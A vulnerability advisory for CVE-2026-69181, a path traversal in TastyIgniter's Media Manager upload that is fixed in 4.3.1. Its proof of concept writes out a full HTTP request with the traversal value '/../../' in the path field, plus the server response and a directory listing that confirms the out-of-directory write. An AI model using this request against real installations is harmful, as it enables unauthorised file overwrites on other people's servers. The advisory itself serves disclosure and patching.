# CVE-2026-69181: TastyIgniter permits Path Traversal in Media Upload

- **Severity:** HIGH 7.6
- **CVSS:** 7.6 (v3.1, GitHub) `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Privileges required: High; User interaction: None; Scope: Changed (impact reaches other components); Confidentiality impact: Low; Integrity impact: High; Availability impact: None
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, login needed
- **CWE:** CWE-23
- **Aliases:** GHSA-rj59-9f77-mvg5
- **Published:** 2026-11-25T22:54:30.000Z
- **Modified:** 2026-11-25T22:54:30.000Z

> **AI summary (AI-generated, claude-haiku-5-5):** An authenticated admin can use path traversal in the TastyIgniter Media Manager upload function to write files outside the media/uploads directory, potentially overwriting other files.

## Who should check

- Projects that depend on Packagist package tastyigniter/tastyigniter (\< 4.3.1)

## Description

\#\#\# Summary
Arbitrary file write outside \`media/uploads/\`

\#\#\# Details
It is possible to perform Path Traversal in Media Manager file upload function as admin.


\#\#\# PoC
- login as admin
- upload a image but in the request, change the path from \`/\` to \`/../../\`.

Request
\`\`\`http
POST /admin/media\_manager HTTP/1.1
Host: localhost:8888
Content-Length: 302
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media\_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel\_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiIn0%3D; remember\_igniter-admin\_d89cc32487145546aea44c0efb53f29c32adfc35=eyJpdiI6InF4RFZUdStuQkY0cGRLU2s4NUFiQ1E9PSIsInZhbHVlIjoiUjMyRUp6UGI3ZFRsL0dhY3pDSUhtMDJaY3Y5bXZ6SFlkQVR5MzZzdGZOT2ZRdExFQ1FJRUh5NDVmQlV0d0tNUXRackcxbTh0YWcxbHphV3dmTVdrNjR5aExhdzZUUFdLQ1JsSEhiMUlZRE1IblBuTFhmdVJWZFc5bFpicU4vS1BUZDh5OGRUMERTU1dsOEdnZVp0bXNpUFI5ZWFPM29RaGl3czU0cnlKczFsN0U4OGFnRWNjREM3aWFSRUtaYTVVTkRmSkV4RXlzZGRiK3RRcGVmOVk2dG1ud0NBaXVFTDRHRVM0Nk9MWDNaUT0iLCJtYWMiOiJiZjA3OGVhMjZlZjQ5ZDczNDkxYmQ3NDBmYWFmNGI5NjNkZDFkMmI0ODAwMTU2MmE5MjMwNjJlMzU0OGM1ODg5IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Ikt6a2dhWG1oL3p4NFBlOUpUWTNLRGc9PSIsInZhbHVlIjoiaU1KZzErLzJoQ3dsSVRnbkptUE5YcmN6cFk1eVJoNWZlSVZzeFlqcVVlQThDWGc1S2FUS1hGMEFsa1Bsb0RvVE12T1VoTEdKOFpQRm5XMXMrSG1ONTI5T0U2UW5KMFAxRHRTWXA2eFNYSm9xaldlMkZrbHl5aSs3K21hQjBveWEiLCJtYWMiOiI5MzY4NzNhODQ3NjlkNDgzMzc0N2FkZjM0YTJjMDI5MTBhZjc3MmZiNzI2YTc3NTBmNWY2OTFiNTBmMGRlNDg4IiwidGFnIjoiIn0%3D; tastyigniter\_session=eyJpdiI6ImpoQldjRHJMTlJCMXlxVWVnbmt4QUE9PSIsInZhbHVlIjoicS9nRENOZDgvRURBL2kvM1VSOTFmaFgzcEtyVVNZK3pMLzBxL2NnU3MwVUIvaW0zMmhacWRvYnMzUzF2NXhDenZ1MFZkK1ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D
Connection: keep-alive

------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="path"

/../../
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="file\_data"; filename="test-pic.png"
Content-Type: image/png

\<sample image\>
------WebKitFormBoundaryN13ytndlhtodIsbE--

\`\`\` 

Response
\`\`\`http
HTTP/1.1 200 OK
Date: Mon, 25 May 2026 16:27:08 GMT
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.3.31
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6Inp5eVRnNUNmVjlYZXlHNzVsaEZyWVE9PSIsInZhbHVlIjoidTZ4N1djTy9jNEJQdFRzRG1mRkkrYmVKNDMyTE95NytKRWdTU3dwYUNWUUNwaW5USURyS2E1MVNDK0ZHVXJ4ZmdnYWo5R2RUaGZ2TC9SQTVHQUdIK2pKNFZXMmFkNk1GYUdBdkZOc0dNdFYzYVpES0FOSFBjL0s3ZklGNVNIelMiLCJtYWMiOiI0NDI5ZjFjYzZjZjVmZTI1Yjg2OWZmZGUyMjJjMDU1ODVjYTYyNjFjMjMwNGY2YWZmNWIzMjgwOGI5ODMyZGZmIiwidGFnIjoiIn0%3D; expires=Mon, 25 May 2026 18:27:08 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: tastyigniter\_session=eyJpdiI6IjJaT3E2TEVZWHY0UzJLRkVsZVU5ZFE9PSIsInZhbHVlIjoiVi9vcXBOR0xLNUNmcXkrQ04yVitjeENSVC9UN28vSkl3VElTYzFxQkxtYVg5aXBIbmJWRUQxM3BXOXFMSDYxU3g3RVBuSXIxL00xZndyRGg0a01NYVJtQUhHaDJqK0NtSE44VXVrNmVnVWlyM2I3ek1SZFM4T2R0NFhNek5qYm8iLCJtYWMiOiIyODkxN2FlN2Y3YjIyMDA0NGUzZDE4NTdiMWZjMTQzNjc0MWU5NmIzMWIxNDkwYzdjODJjYTE4MWUwM2I4MDQ1IiwidGFnIjoiIn0%3D; expires=Mon, 25 May 2026 18:27:08 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 104

{"link":"http:\\/\\/localhost:8888\\/storage\\/media\\/uploads\\/\\/..\\/..\\/\\/test-pic.png","result":"success"}
\`\`\`

Noticed that the file is uploaded to different directory

\`\`\`bash
root@6108ffece410:/var/www/html\# ls -la storage/app/public/
total 20
drwxr-xr-x 3 www-data www-data 4096 May 25 16:27 .
drwxr-xr-x 4 www-data www-data 4096 May 25 16:10 ..
-rwxr-xr-x 1 www-data www-data   14 May 25 16:10 .gitignore
drwxr-xr-x 4 www-data www-data 4096 May 25 16:15 media
-rw-r--r-- 1 www-data www-data   14 May 25 16:27 test-pic.png
\`\`\`


\#\#\# Impact
Attacker with admin privilege can write file into other folder which could overwrite other files.

## Affected and fixed versions

- Packagist `tastyigniter/tastyigniter`: affected \< 4.3.1; fixed 4.3.1 (ghsa)

## Technologies

Composer packages, PHP (AI-matched)

## Mitigation

- Upgrade tastyigniter/tastyigniter to 4.3.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-69181. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-69181.md
Affected: tastyigniter/tastyigniter < 4.3.1
Fixed in: 4.3.1

Steps:
1. Search this machine and project for tastyigniter/tastyigniter (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-69181 being exploited?

There is no confirmed exploitation: CVE-2026-69181 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-69181?

High: CVSS 7.6 (v3.1, scored by GitHub). Remote, login needed.

### Which versions are affected by CVE-2026-69181?

tastyigniter/tastyigniter \< 4.3.1.

### Is there a fix for CVE-2026-69181?

Yes. Fixed in 4.3.1. Upgrade tastyigniter/tastyigniter to 4.3.1 or later.

### How do I check if I'm affected by CVE-2026-69181?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-rj59-9f77-mvg5>
- patch: <https://github.com/tastyigniter/core/commit/c6f99d7f47d20c144721c7a1044213f52c9b570f>
- other: <https://github.com/tastyigniter/core/releases/tag/v4.3.1>
- other: <https://github.com/advisories/GHSA-rj59-9f77-mvg5>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- GitHub Advisory Database: CC-BY 4.0 <https://github.com/advisories/GHSA-rj59-9f77-mvg5> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-69181> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-69181>
